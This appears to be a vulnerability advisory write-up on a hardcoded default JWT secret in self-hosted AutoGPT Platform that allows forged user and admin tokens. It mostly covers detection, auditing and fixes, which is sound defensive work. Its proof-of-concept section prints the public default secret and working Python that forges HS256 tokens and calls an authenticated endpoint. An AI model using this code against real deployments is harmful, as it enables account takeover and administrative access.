Introduction
A self-hosted AutoGPT Platform deployment that copied its default environment file could be fully impersonated by anyone who read the project's public repository. The shipped JWT verification key was both hardcoded and used with a symmetric algorithm, so an unauthenticated attacker could mint a token for any user, or for an administrator, and walk straight past authentication.
AutoGPT is a workflow automation platform for creating, deploying and managing continuous AI agents, maintained under the Significant-Gravitas organization. It offers integrations, a visual workflow builder, an API and an MCP server, and it distinguishes a managed hosted Platform from installations that users run on their own infrastructure. It matters to the broader ecosystem because of its large developer following and its role as a reference implementation for autonomous AI agent tooling.
Technical Information
The root cause is the combination of a publicly known secret and symmetric JWT verification.
AutoGPT Platform versions in the range >= 0.6.26, < 0.8.0 shipped a hardcoded default JWT key in both backend/.env.default and autogpt_platform/.env.default:
JWT_VERIFY_KEY=your-super-secret-jwt-token-with-at-least-32-characters-long
The backend loads this value and the signing algorithm in autogpt_libs/autogpt_libs/auth/config.py:
self.JWT_VERIFY_KEY: str = os.getenv( "JWT_VERIFY_KEY", os.getenv("SUPABASE_JWT_SECRET", "") ).strip() self.JWT_ALGORITHM: str = os.getenv("JWT_SIGN_ALGORITHM", "HS256").strip()
Two things matter here. If JWT_VERIFY_KEY is unset the backend falls back to SUPABASE_JWT_SECRET, so the default secret can sit under either name. And if JWT_SIGN_ALGORITHM is unset the algorithm defaults to HS256, which is symmetric.
Verification happens in autogpt_libs/autogpt_libs/auth/jwt_utils.py:
payload = jwt.decode( token, settings.JWT_VERIFY_KEY, algorithms=[settings.JWT_ALGORITHM], audience="authenticated", ) if admin_only and jwt_payload["role"] != "admin": raise HTTPException(status_code=403, detail="Admin access required")
Because HS256 uses the same key to sign and to verify, knowing the verification secret also lets you sign. Any deployment that copied .env.default to .env without changing the value allows an unauthenticated attacker who knows the public secret to forge valid tokens with arbitrary sub, role and email claims. The report was made against commit 94ebce7f633f.
Attack flow
- The attacker reads the publicly known default key from the project's default environment files.
- Using that key, the attacker signs an HS256 JWT setting
sub,email,roleandaudto values of their choosing. Settingroletoauthenticatedproduces a user token; setting it to an elevated value such asservice_roleproduces an administrative token. - The attacker submits the forged token as an
Authorization: Bearerheader to an authenticated endpoint such as/api/v1/me. - The backend decodes the token with the shared default secret, verification succeeds, and the request is processed as the forged identity.
The maintainer describes consequences beyond the demonstration: reading or modifying agent graphs, execution history, stored credentials and workspace files; accessing administrative routes; managing credits and rate limits; and triggering agent executions charged to users. These are stated potential impacts, not a published incident inventory.
The published CVSS v3.1 vector is CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H, attributed to GitHub as CNA. The flaw carries three weakness classifications: CWE-287 (Improper Authentication) because forged tokens bypass identity verification, CWE-330 (Use of Insufficiently Random Values) because deployments share a publicly known value, and CWE-798 (Use of Hard-coded Credentials) because the verification secret ships in default configuration.
Proof of Concept
A verified public proof of concept exists. The vendor advisory (GHSA-24q6-6h89-f9p7) and an independent researcher writeup both publish identical working PoC code. The advisory includes this Python snippet, which forges both a user token and an administrator token and submits the user token to an authenticated endpoint:
import jwt, time, uuid SECRET = "your-super-secret-jwt-token-with-at-least-32-characters-long" # Forge a regular user token user_token = jwt.encode({ "sub": str(uuid.uuid4()), "email": "[email protected]", "role": "authenticated", "aud": "authenticated", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, SECRET, algorithm="HS256") # Forge an admin token admin_token = jwt.encode({ "sub": str(uuid.uuid4()), "role": "service_role", "aud": "authenticated", "iat": int(time.time()), "exp": int(time.time()) + 3600, }, SECRET, algorithm="HS256") # Use against any authenticated endpoint import requests r = requests.get("http://localhost:8006/api/v1/me", headers={"Authorization": f"Bearer {user_token}"}) # -> 200 OK with arbitrary user data
Sending the forged user_token as a Bearer token to http://localhost:8006/api/v1/me returns HTTP 200 with arbitrary user data, which demonstrates the bypass. The forged admin_token with role service_role unlocks admin-only routes including credit management and rate limits.
Both sources also reference a complete downloadable reproduction archive, a reproduce.zip attachment hosted at https://github.com/user-attachments/files/27853486/reproduce.zip, run via python3 poc_ts_ag3_001.py --target http://localhost:8006.
Note that the single-container Docker image, published from v0.7.1, ships with no default JWT key and is not affected.
Detection Methods
No vendor has published a ready-made signature for this CVE, and we found no public Sigma, YARA, Snort, Suricata or Nuclei content for it. Detection is still workable because the vulnerable condition comes down to one publicly known string and one token type (HS256). Defenders can look in three places: what version is deployed, how it is configured, and which tokens reach the backend.
1. Version inventory
The vulnerable range is AutoGPT Platform >= 0.6.26, < 0.8.0 (package autogpt-platform-beta). These are Platform release numbers, whose Git tags look like autogpt-platform-beta-v<version>; they are not the backend Python package version. If you match on the Python package version, your SBOM or scanner results will be wrong. The single-container Docker image, published from v0.7.1, ships with no default JWT key and is not listed as affected, so separate those deployments from multi-service (docker-compose style) installs before escalating.
2. Configuration audit
A deployment in the affected range is only exploitable if it still uses the shipped default key. Audit the effective runtime environment, not only files on disk, which means container environment variables, compose overrides, orchestrator secrets and CI variables:
- Check both
JWT_VERIFY_KEYandSUPABASE_JWT_SECRET, since the backend falls back to the latter and the default secret can sit under either name. - If
JWT_SIGN_ALGORITHMis unset, the algorithm defaults to HS256 (symmetric), the condition that lets anyone holding the shared key sign tokens. - Use the literal default string
your-super-secret-jwt-token-with-at-least-32-characters-longas a custom rule in secret scanners or repository scanners pointed at infrastructure-as-code repos, deployment manifests and container images.
3. Token-level hunting
The HS256 path existed only to keep Supabase-issued sessions valid during the move to Better Auth, which shipped on 2026-07-30. Those legacy tokens were short-lived and none remain in circulation; normal user tokens are now ES256 verified against JWKS. So on a migrated deployment, any HS256-signed Bearer token reaching the backend is suspicious.
- Wherever you can see the
Authorization: Bearerheader (reverse proxy, API gateway, WAF or app logs), decode the JWT header and flagalgvalues of HS256, HS384 or HS512. - For flagged tokens, check offline whether the signature validates against the known default secret. On an install that kept the default, that is very likely forged.
- Inspect claims. Red flags include a
subthat does not match any real user, elevatedrolevalues such asservice_roleon tokens no legitimate issuer would produce, and email claims that do not match known accounts. The PoC's placeholder email is trivial to change, so do not treat it as a reliable indicator. - A first request to
/api/v1/mefrom a new source with an unusual token is a reasonable early sign, since the PoC uses that endpoint to confirm a forged token works.
4. Behavioral and impact monitoring
Watch calls to admin-only routes (including credit management and rate-limit settings) by identities that are not known admins, reads or changes to other users' agent graphs, execution history, stored credentials and workspace files, and unexpected agent runs billed to users with sudden credit balance drops.
5. Confirming the fix holds
Per PR #14519, v0.8.0 verifies tokens against JWKS only, rejects any HS* token up front with the error symmetric tokens are not accepted, and returns a 401 for unknown or invalid alg headers. After upgrading, test that a token signed with the old default secret is now rejected, and monitor 401s and that error string, which suggest someone is still trying forged symmetric tokens. A leftover JWT_VERIFY_KEY in a 0.8.0 config is ignored rather than dangerous, but if it holds the default value, that is evidence the instance ran on the default before upgrade and a good reason to revisit historical logs.
All of the public material supports checking for the vulnerable configuration. None of it confirms that exploitation happened. A forged token signed with the right key is cryptographically identical to a legitimate HS256 token, so conclusions depend on context.
Affected Systems and Versions
- Affected: AutoGPT Platform versions 0.6.26 through 0.7.4 (per the maintainer advisory and NVD description). The NVD product configuration uses a broader boundary of at least 0.6.26 and below 0.8.0.
- Vulnerable configuration: self-hosted, multi-service installs that copied
.env.defaultto.envand retained the defaultJWT_VERIFY_KEY(or the default underSUPABASE_JWT_SECRET) with HS256 verification. - Not affected: the single-container Docker image published from v0.7.1, which ships with no default JWT key.
- Fixed: version 0.8.0 (tag
autogpt-platform-beta-v0.8.0), via PR #14519 / commit18fde1b9656c475ed279824193131a11c6780f9a.
Vendor Security History
The reviewed material lists three AutoGPT advisories that show both a record of security defects and a public advisory process:
| Advisory | Severity | Publication date |
|---|---|---|
| Webhook provider path confusion bypasses generic webhook secret verification | High | August 5, 2026 |
| Hardcoded Default Fernet Encryption Key Exposes All Stored OAuth Credentials | High | October 5, 2026 |
| Hardcoded Default JWT Secret Enables Complete Authentication Bypass | Critical | October 5, 2026 |
The Fernet and JWT titles both point to default-secret concerns, but they are separate vulnerabilities and should not be treated as one exploit or incident. For the JWT issue specifically, the advisory records a report on May 16, 2026, triage on September 7, and a fix on September 16. Version 0.8.0 was published on September 19, followed by the advisory on October 5 and the NVD entry on November 23, so the NVD publication date is not the date the patch first became available.
References
- NVD entry for CVE-2026-130169
- Maintainer advisory GHSA-24q6-6h89-f9p7
- AutoGPT Platform v0.8.0 release notes
- Pull Request #14519: remove legacy HS256 verification path
- AutoGPT Security Advisories index
- AutoGPT SECURITY.md
- Significant-Gravitas/AutoGPT repository
- Independent researcher advisory writeup (sfwani)
- sfwani advisories README
- GitHub API record for GHSA-24q6-6h89-f9p7
- GitHub API record for PR #14519
- Rapid7 vulnerability database entry
- Endor Labs vulnerability record



